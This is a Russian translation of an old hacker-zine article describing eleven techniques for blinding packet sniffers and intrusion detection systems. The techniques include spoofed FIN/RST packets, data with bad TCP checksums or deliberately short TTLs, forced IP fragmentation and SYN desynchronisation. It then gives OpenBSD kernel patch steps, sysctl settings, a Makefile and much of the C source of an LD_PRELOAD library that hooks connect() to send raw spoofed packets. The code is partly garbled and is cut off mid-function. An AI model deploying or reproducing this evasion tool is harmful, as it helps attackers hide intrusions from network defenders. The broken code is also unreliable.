Эта техника эксплуатирует тот факт, что типичный sniffer не отслеживает конкретные детали текущего соединения. В TCP-соединении порядковые номера используются как механизм управления для определения объёма переданных данных и правильного порядка их поступления. Большинство sniffеров не отслеживают порядковые номера в текущем TCP-соединении. Это позволяет нам внедрять пакеты в поток данных, которые ядро проигнорирует, но sniffer воспримет как корректные. Первая техника на основе этого — подмена пакетов FIN и RST. FIN и RST — управляющие флаги внутри TCP-пакетов: FIN сигнализирует об инициализации последовательности завершения для одной стороны соединения, а RST — о том, что соединение следует немедленно разорвать. Если отправить пакет с флагом FIN или RST с порядковым номером, сильно отличающимся от ожидаемого ядром, ядро его проигнорирует. Однако sniffer, вероятно, воспримет это как законный запрос на закрытие соединения или его сброс и прекратит



запись.

Интересно отметить, что некоторые реализации стека TCP не проверяют порядковые номера должным образом при получении RST. Это очевидно создаёт большой потенциал для атак типа «отказ в обслуживании». В частности, замечено, что Digital Unix 4.0d разрывает соединения без проверки порядковых номеров в RST-пакетах.

#### **4. Внедрение — подмена данных — некорректные порядковые номера**

Эта техника является вариацией предыдущей и эксплуатирует тот факт, что типичный сниффер не следит за порядковыми номерами TCP-соединения. Многие снифферы имеют определённый предел объёма захватываемых данных и прекращают запись соединения после его достижения. Если после инициации соединения отправить большой объём данных с полностью неверными порядковыми номерами, ядро сбросит наши пакеты. Однако сниффер потенциально запишет все эти данные как достоверную информацию. Это приблизительная реализация атаки «tcp-7», упомянутой в статье NAI.

### **Атаки на IDS и снифферы**

Описанные выше техники удивительно хорошо работают против большинства снифферов, но не окажут существенного влияния на большинство IDS. Следующие шесть техник несколько сложнее, но представляют собой хорошие отправные точки для обхода более сложных сетевых мониторов.

#### **5. Уклонение — IP-фрагментация**

IP-фрагментация позволяет разбивать пакеты на несколько датаграмм, чтобы они вписывались в максимальный размер блока передачи (MTU) физического сетевого интерфейса. Как правило, TCP знает о MTU и не отправляет пакеты, требующие фрагментации на IP-уровне. Мы можем использовать это в своих целях, чтобы попытаться запутать снифферы и IDS. Существует несколько потенциальных атак с использованием фрагментации, но мы рассмотрим лишь простую из них. Можно отправить TCP-пакет, разбитый на несколько IP-датаграмм таким образом, чтобы первые 8 байт TCP-заголовка находились в одном пакете, а остаток данных передавался пакетами по 32 байта. Это даёт нам значительные преимущества в обходе инструментов сетевого анализа. Во-первых, сниффер/IDS должен быть способен выполнять повторную сборку фрагментов. Во-вторых, он должен уметь работать с фрагментированными TCP-заголовками. Оказывается, эта простая техника более чем достаточна для пропуска пакетов мимо большинства сетевых мониторов канального уровня. Это ещё одна атака, которую я реализовал в виде параметра `sysctl` в ядре OpenBSD.

Эта техника очень мощна в плане полного обхода большинства снифферов. Однако она требует экспериментирования, поскольку необходимо убедиться, что пакеты пройдут через все фильтры между вами и целью. Некоторые пакетные фильтры разумно отбрасывают фрагментированные пакеты, которые выглядят как перезапись UDP/TCP-заголовка или являются неоправданно малыми. Реализация в данной статье предоставляет достаточный контроль над размером фрагментов, которые будет выдавать ваша машина. Это позволит реализовать атаки «frag-1» и «frag-2», описанные в статье NAI.

#### **6. Десинхронизация — постсоединительный SYN**

Если мы пытаемся обмануть интеллектуальный сниффер или IDS, то можно предположить, что он отслеживает порядковые номера TCP. В рамках данной техники мы попытаемся десинхронизировать сниффер/IDS с реальными порядковыми номерами, которые принимает ядро. Атака реализуется отправкой постсоединительного SYN-пакета в наш поток данных: он будет иметь расходящиеся порядковые номера, но в остальном отвечает всем необходимым критериям для принятия целевым хостом. Однако целевой хост проигнорирует этот SYN-пакет, поскольку он

ссылается на уже установленное соединение. Цель атаки — заставить сниффер/IDS ресинхронизировать своё представление о порядковых номерах с новым SYN-пакетом. После этого он будет игнорировать данные, являющиеся законной частью исходного потока, поскольку будет ожидать другой порядковый номер. Если нам удастся ресинхронизировать IDS с SYN-пакетом, затем можно отправить RST-пакет с новым порядковым номером и закрыть его представление о соединении. Это примерно соответствует атаке «tcbsc-2», упомянутой в статье NAI.

## **7. Десинхронизация — пресоединительный SYN**

Ещё одна атака в рамках этой темы — отправка начального SYN до реального соединения с некорректной TCP-контрольной суммой. Если сниффер достаточно умён, чтобы игнорировать последующие SYN в рамках соединения, но недостаточно умён, чтобы проверять TCP-контрольную сумму, то эта атака синхронизирует сниффер/IDS с фиктивным порядковым номером ещё до установления реального соединения. Атака вызывает bind для того, чтобы ядро назначило локальный порт сокету до вызова connect.

## **8. Внедрение — подмена FIN и RST — проверка TCP-контрольной суммы**

Эта техника является вариацией описанной выше техники подмены FIN/RST. Однако на этот раз мы попытаемся отправить FIN- и RST-пакеты, которые должны были бы законно закрыть соединение, но с одним существенным отличием: TCP-контрольная сумма будет некорректной. Эти пакеты будут немедленно отброшены ядром, но потенциально приняты IDS/сниффером. Для данной атаки требуется поддержка ядра, чтобы определить корректные порядковые номера для использования в пакете. Эта атака схожа с «insert-2» из статьи NAI.

## **9. Внедрение — некорректные данные — проверка TCP-контрольной суммы**

Эта техника является вариацией предыдущей атаки внедрения данных, за тем исключением, что мы внедряем данные с корректными порядковыми номерами, но некорректными TCP-контрольными суммами. Это позволит запутать и десинхронизировать снифферы и IDS, подавая им большой объём данных, которые не будут приняты участвующими ядрами. Атака требует поддержки ядра для получения корректных порядковых номеров исходящих пакетов. Эта атака также схожа с «insert-2» из статьи NAI.

## **10. Внедрение — подмена FIN и RST — короткий TTL**

Если IDS или сниффер находится в сети таким образом, что между ним и отслеживаемым хостом есть один или более транзитных узлов, то можно провести простую атаку, используя поле TTL IP-пакета. Для этой атаки мы определяем минимальный TTL, достаточный для достижения целевого хоста, и вычитаем единицу. Это позволяет нам отправлять пакеты, которые не достигнут целевого хоста, но потенциально могут достичь IDS или сниффера. В этой атаке мы отправляем несколько FIN-пакетов и несколько RST-пакетов.

## **11. Внедрение — подмена данных — короткий TTL**

Для завершающей атаки мы отправляем 8 КБ данных с корректными порядковыми номерами и TCP-контрольными суммами. Однако TTL будет на один переход слишком коротким для достижения целевого хоста.

---

## **Итоговая последовательность атак**

Все эти атаки действуют согласованно для запутывания снифферов и IDS. Вот разбивка порядка их выполнения:

Атака 1 - Архитектура сниффера с одним хостом.

```

FAKEHOST -> TARGET SYN
Атака 7 - Попытка десинхронизации до подключения.
REALHOST -> TARGET SYN (плохая TCP-контрольная сумма, произвольный порядковый номер)
Активность ядра
REALHOST -> TARGET SYN (настоящий SYN, отправленный нашим ядром)
Атака 6 - Попытка десинхронизации после подключения.
REALHOST -> TARGET SYN (произвольный порядковый номер X)
REALHOST -> TARGET SYN (порядковый номер X+1)
Атака 4 - Подмена данных - некорректные порядковые номера
REALHOST -> TARGET DATA x 8 (1024 байта, порядковый номер X+2)
Атака 5 - Подмена FIN/RST - некорректные порядковые номера
REALHOST -> TARGET FIN (порядковый номер X+2+8192)
REALHOST -> TARGET FIN (порядковый номер X+3+8192)
REALHOST -> TARGET RST (порядковый номер X+4+8192)
REALHOST -> TARGET RST (порядковый номер X+5+8192)
Атака 11 - Подмена данных - TTL
* REALHOST -> TARGET DATA x 8 (1024 байта, короткий TTL, реальный порядковый номер Y)
Атака 10 - Подмена FIN/RST - TTL
* REALHOST -> TARGET FIN (короткий TTL, порядковый номер Y+8192)
* REALHOST -> TARGET FIN (короткий TTL, порядковый номер Y+1+8192)
* REALHOST -> TARGET RST (короткий TTL, порядковый номер Y+2+8192)
* REALHOST -> TARGET RST (короткий TTL, порядковый номер Y+3+8192)
Атака 9 - Подмена данных - контрольная сумма
* REALHOST -> TARGET DATA x 8 (1024 байта, плохая TCP-контрольная сумма, реальный порядковый номер Z)
Атака 8 - Подмена FIN/RST - контрольная сумма
* REALHOST -> TARGET FIN (плохая TCP-контрольная сумма, порядковый номер Z+8192)
* REALHOST -> TARGET FIN (плохая TCP-контрольная сумма, порядковый номер Z+1+8192)
* REALHOST -> TARGET RST (плохая TCP-контрольная сумма, порядковый номер Z+2+8192)
* REALHOST -> TARGET RST (плохая TCP-контрольная сумма, порядковый номер Z+3+8192)

```

Атаки, отмеченные звёздочкой, требуют поддержки ядра для определения корректных порядковых номеров. Теоретически это можно было бы реализовать без поддержки ядра, используя сниффер канального уровня, но это значительно усложнило бы код, поскольку потребовало бы повторной сборки фрагментов и выполнения нескольких проверочных шагов для отслеживания реального соединения. Пользователь может выбрать, какие из этих атак применять, и порядковые номера будут корректироваться автоматически.

---

## Раздел 2 — Реализация и использование

Моей основной целью при реализации этих техник было минимизировать необходимые изменения в обычном использовании системы. Пришлось разделить техники на две категории: атаки, которые могут выполняться из пользовательского контекста, и атаки, которые каким-либо образом должны поддерживаться ядром. Дополнительной целью была достаточная переносимость набора атак пользовательского уровня на другие Unix-среды, помимо OpenBSD и Linux.

Атаки пользовательского уровня реализованы с использованием перенаправления разделяемых библиотек — чрезвычайно полезной техники, заимствованной из статьи halfife P51-08. Первая программа в листинге ниже, `congestant.c`, — это разделяемая библиотека, которую пользователь просит загрузчик подключить первой. Это делается с помощью переменной окружения `LD_PRELOAD` на нескольких Unix-системах. За дополнительной информацией об этой технике обратитесь к оригинальной статье halfife.

Разделяемая библиотека определяет символ `connect`, тем самым перехватывая стандартную функцию `connect` из `libc` (или `libsocket`) на этапе загрузки программы. Таким образом, вы можете использовать эти техники практически с любой клиентской программой, использующей стандартные BSD-сокеты. OpenBSD не позволяет выполнять перенаправление разделяемых библиотек (при попытке извлечь старый символ из `libc` через `dlsym` возвращается указатель на функцию, загруженную первой). Однако это не проблема, поскольку можно напрямую вызвать

системный вызов `connect()`.

У этой разделяемой библиотеки есть определённые недостатки, но за что платишь, то и получаешь. Она не будет корректно работать с программами, использующими неблокирующие вызовы `connect`, или с RAW- и канальным уровнем доступа. Кроме того, она предназначена для использования с TCP-сокетами, и без поддержки ядра для определения типа сокета будет пытаться выполнять TCP-атаки на UDP-соединения. Эта поддержка в настоящее время реализована только в OpenBSD. Впрочем, это не является серьёзным недостатком, поскольку просто отправляется несколько пакетов, которые игнорируются. Ещё один недостаток разделяемой библиотеки — она выбирает «неправильный» порядковый номер случайным образом. По этой причине существует очень малая вероятность, что библиотека выберет корректный порядковый номер и не выполнит десинхронизацию потока. Однако это крайне маловероятно.

К разделяемой библиотеке прилагается Makefile. Отредактируйте его под свою систему, затем откройте исходный файл и укажите путь к своей копии `libc.so` — и всё готово к работе. Код был протестирован на OpenBSD 2.3, 2.4, Debian Linux, Slackware Linux, Debian glibc Linux, Solaris 2.5 и Solaris 2.6. Библиотеку можно использовать следующим образом:

```
# export LD_PRELOAD=./congestion.so
# export CONGCONF="DEBUG,OH,SC,SS,DS,FS,RS"
# telnet www.blah.com
```

Библиотека будет «оборачивать» все вызовы `connect` в программах, которые вы запустите с этого момента, и обеспечивать защиту в фоновом режиме. Управлять программой можно, задав переменную окружения `CONGCONF`. Ей передаётся список атак через запятую:

```
DEBUG: Показывать отладочную информацию
OH: Атака с одним хостом
SC: Подделка SYN до connect с плохой TCP-контрольной суммой
SS: Подделка SYN после соединения в попытке десинхронизации
DS: Вставка 8 КБ данных с некорректными порядковыми номерами
FS: Подделка FIN-пакетов с некорректными порядковыми номерами
RS: Подделка RST-пакетов с некорректными порядковыми номерами
DC: Вставка 8 КБ данных с плохими TCP-контрольными суммами (требуется поддержки ядра)
FC: Подделка FIN-пакетов с плохими TCP-контрольными суммами (требуется поддержки ядра)
RC: Подделка RST-пакетов с плохими TCP-контрольными суммами (требуется поддержки ядра)
DT: Вставка 8 КБ данных с коротким TTL (требуется поддержки ядра)
FT: Подделка FIN-пакетов с коротким TTL (требуется поддержки ядра)
RT: Подделка RST-пакетов с коротким TTL (требуется поддержки ядра)
```

## Поддержка ядра

Для обеспечения нескольких описанных выше техник предоставляются патчи ядра OpenBSD. Патчи подготовлены для дистрибутива версии 2.4. В ядро добавлены три переменные `sysctl` и один новый системный вызов. Три переменные `sysctl`:

```
net.inet.ip.frackhead (integer)
net.inet.ip.frackbody (integer)
net.inet.ip.optionshack (integer)
```

Новый системный вызов — `getsockinfo()`, его номер — 242.

Три `sysctl`-переменные можно использовать для изменения характеристик каждого исходящего IP-пакета машины. Переменная `frackhead` задаёт новый MTU в байтах для исходящих IP-датаграмм. `frackhead` применяется к каждой исходящей датаграмме, если `frackbody` не задана. В случае если `frackbody` задана, MTU для первого фрагмента пакета берётся из `frackhead`, а MTU для каждого последующего фрагмента — из `frackbody`. Это позволяет принудительно фрагментировать весь трафик машины до любого указанного размера. Причина разделения на две переменные состоит в том, чтобы первый фрагмент содержал полный TCP/UDP-заголовок, а последующие фрагменты были по 8 или 16 байт. Таким образом,

фрагментированные пакеты смогут пройти через определённые фильтрующие маршрутизаторы, блокирующие любой вид потенциальной перезаписи заголовков. Параметр `sysctl optionshack` позволяет включить обязательное добавление 40 байт нулевых IP-параметров к каждому исходящему пакету.

Эти элементы управления реализованы таким образом, что не оказывают никакого влияния на пакеты, отправляемые через сырые сокеты. Это означает, что наши атакующие пакеты не будут фрагментированы и не будут содержать IP-параметров.

Использование этих `sysctl` достаточно простое: для переменных `fraghack` указывается количество байт (или 0 для отключения), а для `optionshack` устанавливается значение 0 или 1. Пример использования:

```
# sysctl -w net.inet.ip.optionshack=1    # добавляется 40 байт к заголовку
# sysctl -w net.inet.ip.fraghackhead=80  # 20 + 40 + 20 = полный заголовок протокола
# sysctl -w net.inet.ip.fraghackbody=68  # 20 + 40 + 8 = минимально возможный фрагмент
```

Важно учитывать, что с параметрами `fraghack` следует обращаться осторожно. При задании экстремальной фрагментации быстро расходуется память ядра, доступная для хранения заголовков пакетов. При слишком высоком потреблении памяти `sendto()` будет возвращать ошибку отсутствия буферного пространства. Если использовать программы с небольшими пакетами, такие как `telnet` или `ssh`, значения 28 или 28/36 должны быть подходящими. Однако если использовать программы с большими пакетами, такие как `ftp` или `gcr`, следует увеличить `fraghackbody` до большего числа, например 200.

Системный вызов `getsockinfo` необходим программе пользовательского уровня для определения того, является ли сокет TCP-сокетом, а также для запроса у ядра следующего порядкового номера для отправки в следующем исходящем пакете и следующего порядкового номера, ожидаемого от его партнёра. Это позволяет программе пользовательского уровня реализовывать атаки, основанные на корректном порядковом номере с некоторым другим дефектом пакета, таким как короткий TTL или плохая TCP-контрольная сумма.

## Установка патча ядра

Вот шаги по установке патчей ядра.

**Отказ от ответственности:** я не являюсь опытным программистом ядра, поэтому не расстраивайтесь слишком сильно, если ваша машина будет вести себя нестабильно. Тестирование на собственных машинах прошло хорошо, но имейте в виду, что установка этих патчей — это реальное вмешательство в критически важные компоненты системы. Возможны снижение производительности или другие неприятности. Но что поделать — без риска нет удовольствия. >

```
Шаг 1. Применить netinet.patch к /usr/src/sys/netinet/
Шаг 2. cp /usr/src/sys/netinet/in.h в /usr/include/netinet/in.h
Шаг 3. Перейти в /usr/src/usr.sbin/sysctl, пересобрать и установить
Шаг 4. Применить kern.patch к /usr/src/sys/kern/
Шаг 5. cd /usr/src/sys/kern; make
Шаг 6. Применить sys.patch к /usr/src/sys/sys/
Шаг 7. Перейти в каталог сборки ядра
        (/usr/src/sys/arch/XXX/compile/XXX) и выполнить make depend && make.
Шаг 8. cp bsd /bsd, перезагрузиться и скрестить пальцы. :>
```

---

## Код

```
# OpenBSD
LDPRE=-Bshareable
```

```

LDPOST=
OPTS=-DKERNELSUPPORT

# Linux
#LDPRE=-Bshareable
#LDPOST=-ldl
#OPTS=

# Solaris
#LDPRE=-G
#LDPOST=-ldl
#OPTS=-DBIG_ENDIAN=42 -DBYTEORDER=42

congestant.so: congestant.o
□ld ${LDPRE} -o congestant.so congestant.o ${LDPOST}

congestant.o: congestant.c
□gcc ${OPTS} -fPIC -c congestant.c

clean:
□rm -f congestant.o congestant.so

/*
 * congestant.c - demonstration of sniffer/ID defeating techniques
 *
 * by horizon <jmcdonal@unf.edu>
 * special thanks to stran9er, mea culpa, plaguez, halflife, and fyodor
 *
 * openbsd doesn't let us do shared lib redirection, so we implement the
 * connect system call directly. Also, the kernel support for certain attacks
 * is only implemented in openbsd. When I finish the linux support, it will
 * be available at http://www.rhino9.ml.org
 *
 * This whole thing is a conditionally compiling nightmare. :>
 * This has been tested under OpenBSD 2.3, 2.4, Solaris 2.5, Solaris 2.5.1,
 * Solaris 2.6, Debian Linux, and the glibc Debian Linux
 */

/* The path to our libc. (libsocket under Solaris) */
/* You don't need this if you are running OpenBSD */
/* #define LIB_PATH "/usr/lib/libsocket.so" */
#define LIB_PATH "/lib/libc-2.0.7.so"
/* #define LIB_PATH "/usr/lib/libc.so" */

/* The source of our initial spoofed SYN in the One Host Design attack */
/* This has to be some host that will survive any outbound packet filters */
#define FAKEHOST "42.42.42.42"

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <string.h>
#include <fcntl.h>
#include <dlfcn.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#if __linux__
#include <endian.h>
#endif
#include <errno.h>

struct cong_config
{
□int one_host_attack;
□int fin_seq;

```

```

int rst_seq;
int syn_seq;
int data_seq;
int data_chk;
int fin_chk;
int rst_chk;
int syn_chk;
int data_ttl;
int fin_ttl;
int rst_ttl;
int ttl;
} cong_config;

int cong_init=0;
int cong_debug=0;
long cong_ttl_cache=0;
int cong_ttl=0;

/* If this is not openbsd, then we will use the connect symbol from libc */
/* otherwise, we will use syscall(SYS_connect, ...) */

#ifdef __OpenBSD__

#if __GLIBC__ == 2
int (*cong_connect)(int, __CONST_SOCKADDR_ARG, socklen_t)=NULL;
#else
int (*cong_connect)(int, const struct sockaddr *, int)=NULL;
#endif

#endif /* not openbsd */

#define DEBUG(x) if (cong_debug==1) fprintf(stderr, (x));

/* define our own headers so its easier to port. use cong_ to avoid any
 * potential symbol name collisions */

struct cong_ip_header
{
    unsigned char ip_hl:4, /* header length */
    ip_v:4; /* version */
    unsigned char ip_tos; /* type of service */
    unsigned short ip_len; /* total length */
    unsigned short ip_id; /* identification */
    unsigned short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
    unsigned char ip_ttl; /* time to live */
    unsigned char ip_p; /* protocol */
    unsigned short ip_sum; /* checksum */
    unsigned long ip_src, ip_dst; /* source and dest address */
};

struct cong_icmp_header /* this is really an echo */
{
    unsigned char icmp_type;
    unsigned char icmp_code;
    unsigned short icmp_checksum;
    unsigned short icmp_id;
    unsigned short icmp_seq;
    unsigned long icmp_timestamp;
};

struct cong_tcp_header
{
    unsigned short th_sport; /* source port */
    unsigned short th_dport; /* destination port */
    unsigned int th_seq; /* sequence number */
    unsigned int th_ack; /* acknowledgement number */
#ifdef BYTE_ORDER == LITTLE_ENDIAN

```

```

        unsigned char    th_x2:4,        /* (unused) */
        th_off:4;        /* data offset */
#endif
#if BYTE_ORDER == BIG_ENDIAN
        unsigned char    th_off:4,        /* data offset */
        th_x2:4;        /* (unused) */
#endif
        unsigned char    th_flags;
#define TH_FIN    0x01
#define TH_SYN    0x02
#define TH_RST    0x04
#define TH_PUSH    0x08
#define TH_ACK    0x10
#define TH_URG    0x20
        unsigned short    th_win;        /* window */
        unsigned short    th_sum;        /* checksum */
        unsigned short    th_urp;        /* urgent pointer */
};

struct cong_pseudo_header
{
    □unsigned long saddr, daddr;
    □char mbz;
    □char ptcl;
    □unsigned short tcpl;
};

int cong_checksum(unsigned short* data, int length)
{
    □register int nleft=length;
    □register unsigned short *w = data;
    □register int sum=0;
    □unsigned short answer=0;

    □while (nleft>1)
    □{
        □□sum+=*w++;
        □□nleft-=2;
    □}

    □if (nleft==1)
    □{
        □□*(unsigned char *)(&answer) = *(unsigned char *)w;
        □□sum+=answer;
    □}

    □sum=(sum>>16) + (sum & 0xffff);
    □sum +=(sum>>16);
    □answer=~sum;

        return answer;
}

#define PHLEN (sizeof (struct cong_pseudo_header))
#define IHLEN (sizeof (struct cong_ip_header))
#define ICMPLEN (sizeof (struct cong_icmp_header))
#define THLEN (sizeof (struct cong_tcp_header))

/* Utility routine for the ttl attack. Sends an icmp echo */

void cong_send_icmp(long source, long dest, int seq, int id, int ttl)
{
    □struct sockaddr_in sa;
    □int sock,packet_len;
    □char *pkt;
    □struct cong_ip_header *ip;
    □struct cong_icmp_header *icmp;

    □int on=1;

    □if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)

```



```

□{
□□perror("socket");
□□exit(1);
□}

□if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *) &on, sizeof(on)) < 0)
□{
□□perror("setsockopt: IP_HDRINCL");
□□exit(1);
□}

□bzero(&sa, sizeof(struct sockaddr_in));
    sa.sin_addr.s_addr = dest;
    sa.sin_family = AF_INET;

□pkt=calloc((size_t)1, (size_t) (IHLEN+ICMPLEN));

□ip=(struct cong_ip_header *)pkt;
□icmp=(struct cong_icmp_header *) (pkt+IHLEN);
□
□ip->ip_v = 4;
□ip->ip_hl = IHLEN >>2;
□ip->ip_tos = 0;
□ip->ip_len = htons(IHLEN+ICMPLEN);
□ip->ip_id = htons(getpid() & 0xFFFF);
□ip->ip_off = 0;
□ip->ip_ttl = ttl;
□ip->ip_p = IPPROTO_ICMP ;//ICMP
□ip->ip_sum = 0;
□ip->ip_src = source;
□ip->ip_dst = dest;
□icmp->icmp_type=8;
□icmp->icmp_seq=htons(seq);
□icmp->icmp_id=htons(id);
□icmp->icmp_checksum=cong_checksum((unsigned short*)icmp, ICMPLEN);

□if(sendto(sock, pkt, IHLEN+ICMPLEN, 0, (struct sockaddr*)&sa, sizeof(sa)) < 0)
□{
□□perror("sendto");
□}

□free(pkt);
□close(sock);
}

/* Our main worker routine. sends a TCP packet */

void cong_send_tcp(long source, long dest, short int sport, short int dport,
    □□long seq, long ack, int flags, char *data, int dlen,
    □□□int cksum, int ttl)
{
□struct sockaddr_in sa;
□int sock, packet_len;
□char *pkt, *phtcp;
□struct cong_pseudo_header *ph;
□struct cong_ip_header *ip;
□struct cong_tcp_header *tcp;

□int on=1;

□if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
□{
□□perror("socket");
□□exit(1);
□}

□if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *) &on, sizeof(on)) < 0)
□{
□□perror("setsockopt: IP_HDRINCL");
□□exit(1);
□}

```

```

□bzero(&sa,sizeof(struct sockaddr_in));
    sa.sin_addr.s_addr = dest;
    sa.sin_family = AF_INET;
□sa.sin_port = dport;

□phtcp=calloc((size_t)1,(size_t)(PHLEN+THLEN+dlen));
□pkt=calloc((size_t)1,(size_t)(IHLEN+THLEN+dlen));

□ph=(struct cong_pseudo_header *)phtcp;
□tcp=(struct cong_tcp_header *)((char *)phtcp)+PHLEN;
□ip=(struct cong_ip_header *)pkt;
□
□ph->saddr=source;
□ph->daddr=dest;
□ph->mbz=0;
□ph->ptcl=IPPROTO_TCP;
□ph->tcpl=htons(THLEN + dlen);

□tcp->th_sport=sport;
□tcp->th_dport=dport;
□tcp->th_seq=seq;
□tcp->th_ack=ack;
□tcp->th_off=THLEN/4;
□tcp->th_flags=flags;
□if (ack) tcp->th_flags|=TH_ACK;
□tcp->th_win=htons(16384);
□memcpy(&(phtcp[PHLEN+THLEN]),data,dlen);
□tcp->th_sum=cong_checksum((unsigned short*)phtcp,PHLEN+THLEN+dlen)+cksum;

□ip->ip_v = 4;
□ip->ip_hl = IHLEN >>2;
□ip->ip_tos = 0;
□ip->ip_len = htons(IHLEN+THLEN+dlen);
□ip->ip_id = htons(getpid() & 0xFFFF);
□ip->ip_off = 0;
□ip->ip_ttl = ttl;
□ip->ip_p = IPPROTO_TCP ;//TCP
□ip->ip_sum = 0;
□ip->ip_src = source;
□ip->ip_dst = dest;
□ip->ip_sum = cong_checksum((unsigned short*)ip,IHLEN);

□memcpy(((char *) (pkt))+IHLEN,(char *)tcp,THLEN+dlen);

□if(sendto(sock,pkt,IHLEN+THLEN+dlen,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
□{
□□perror("sendto");
□}

□free(phtcp);
□free(pkt);
□close(sock);
}

/* Utility routine for data insertion attacks */

void cong_send_data(long source, long dest,short int sport, short int dport,
□□long seq, long ack, int chk, int ttl)
{
□char data[1024];
□int i,j;

□for (i=0;i<8;i++)
□{
□□for (j=0;j<1024;data[j++]=random());

□□cong_send_tcp(source, dest, sport, dport, htonl(seq+i*1024),
□□htonl(ack), TH_PUSH, data, 1024, chk, ttl);
□}
}

/* Utility routine for the ttl attack - potentially unreliable */

```

```

/* This could be rewritten to look for the icmp ttl exceeded and count
 * the number of packets it receives, thus going much quicker. */

int cong_find_ttl(long source, long dest)
{
    int sock;
    long timestamp;
    struct timeval tv, tvwait;
    int ttl=0, result=255;
    char buffer[8192];
    int bread;
    fd_set fds;
    struct cong_ip_header *ip;
    struct cong_icmp_header *icmp;

    if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0)
    {
        perror("socket");
        exit(1);
    }
    tvwait.tv_sec=0;
    tvwait.tv_usec=500;

    gettimeofday(&tv, NULL);
    timestamp=tv.tv_sec+3; // 3 second timeout
    DEBUG("Determining ttl...");

    while(tv.tv_sec<=timestamp)
    {
        gettimeofday(&tv, NULL);
        if (ttl<50)
        {
            cong_send_icmp(source, dest, ttl, 1, ttl);
            cong_send_icmp(source, dest, ttl, 1, ttl);
            cong_send_icmp(source, dest, ttl, 1, ttl++);
        }
        FD_ZERO(&fds);
        FD_SET(sock, &fds);
        select(sock+1, &fds, NULL, NULL, &tvwait);
        if (FD_ISSET(sock, &fds))
        {
            if (bread=read(sock, buffer, sizeof(buffer)))
            {
                /* should we practice what we preach?
                nah... too much effort :p */

                ip=(struct cong_ip_header *)buffer;
                if (ip->ip_src!=dest)
                    continue;
                icmp=(struct cong_icmp_header *) (buffer +
                    ((ip->ip_hl)<<2));
                if (icmp->icmp_type!=0)
                    continue;
                if (ntohs(icmp->icmp_seq)<result)
                    result=ntohs(icmp->icmp_seq);
            }
        }
        if (cong_debug)
            fprintf(stderr, "%d\n", result);

        close(sock);
        return result;
    }

    /* This is our init routine - reads conf env var*/

    /* On the glibc box I tested, you cant dlopen from within
     * _init, so there is a little hack here */
    #if __GLIBC__ == 2

```

```

int cong_start(void)
#else
int _init(void)
#endif
{
    □void *handle;
    □char *conf;

#ifdef __OpenBSD__
    □handle=dlopen(LIB_PATH,1);
    □if (!handle)
    □{
        □□fprintf(stderr,"Congestant Error: Can't load libc.\n");
        □□return 0;
    □}

    #if __linux__ || (__svr4__ && __sun__) || sgi || __osf__
    □cong_connect = dlsym(handle, "connect");
    #else
    □cong_connect = dlsym(handle, "_connect");
    #endif

    □if (!cong_connect)
    □{
        □□fprintf(stderr,"Congestant Error: Can't find connect().\n");
        □□return -1;
    □}
    #endif□/* not openbsd */

    □memset(&cong_config,0,sizeof(struct cong_config));

    □if (conf=getenv("CONGCONF"))
    □{
        □□char *token;
        □□token=strtok(conf,",");
        □□while (token)
        □□{
            □□□if (!strcmp(token,"OH"))
            □□□□cong_config.one_host_attack=1;
            □□□else if (!strcmp(token,"FS"))
            □□□□cong_config.fin_seq=1;
            □□□else if (!strcmp(token,"RS"))
            □□□□cong_config.rst_seq=1;
            □□□else if (!strcmp(token,"SS"))
            □□□□cong_config.syn_seq=1;
            □□□else if (!strcmp(token,"DS"))
            □□□□cong_config.data_seq=1;
            □□□else if (!strcmp(token,"FC"))
            □□□□cong_config.fin_chk=1;
            □□□else if (!strcmp(token,"RC"))
            □□□□cong_config.rst_chk=1;
            □□□else if (!strcmp(token,"SC"))
            □□□□cong_config.syn_chk=1;
            □□□else if (!strcmp(token,"DC"))
            □□□□cong_config.data_chk=1;
            □□□else if (!strcmp(token,"FT"))
            □□□{
                □□□□cong_config.fin_ttl=1;
                □□□□cong_config.ttl=1;
            □□□}
            □□□else if (!strcmp(token,"RT"))
            □□□{
                □□□□cong_config.rst_ttl=1;
                □□□□cong_config.ttl=1;
            □□□}
            □□□else if (!strcmp(token,"DT"))
            □□□{
                □□□□cong_config.data_ttl=1;
                □□□□cong_config.ttl=1;
            □□□}
            □□□else if (!strcmp(token,"DEBUG"))

```

```

cong_debug=1;

token=strtok(NULL,"");
}
}
else/* default to full sneakiness */
{
cong_config.one_host_attack=1;
cong_config.fin_seq=1;
cong_config.rst_seq=1;
cong_config.syn_seq=1;
cong_config.data_seq=1;
cong_config.syn_chk=1;
cong_debug=1;
/* assume they have kernel support */
/* attacks are only compiled in under obsd*/
cong_config.data_chk=1;
cong_config.fin_chk=1;
cong_config.rst_chk=1;
cong_config.data_ttl=1;
cong_config.fin_ttl=1;
cong_config.rst_ttl=1;
cong_config.ttl=1;
}

cong_init=1;
}

/* This is our definition of connect */

#if (__svr4__ && __sun__)
int connect (int __fd, struct sockaddr * __addr, int __len)
#else
#if __GLIBC__ == 2
int connect __P ((int __fd,
                  __CONST_SOCKADDR_ARG __addr, socklen_t __len))
#else
int connect __P ((int __fd, const struct sockaddr * __addr, int __len))
#endif
#endif
{
int result,nl;
struct sockaddr_in sa;

long from,to;
short src,dest;

unsigned long fakeseq=424242;
int type=SOCK_STREAM;
unsigned long realseq=0;
unsigned long recvseq=0;
int ttl=255,ttlseq;

#if __GLIBC__ == 2
if (cong_init==0)
cong_start();
#endif

if (cong_init++==1)
fprintf(stderr,"Congestant v1 by horizon loaded.\n");

/* quick hack so we dont waste time with udp connects */

#ifdef KERNELSUPPORT
#ifdef __OpenBSD__
syscall(242, __fd, &type, &realseq, &recvseq);
#endif /* openbsd */
if (type!=SOCK_STREAM)
{
result=syscall(SYS_connect, __fd, __addr, __len);
return result;

```

```

    }
#endif /* kernel support */
    }
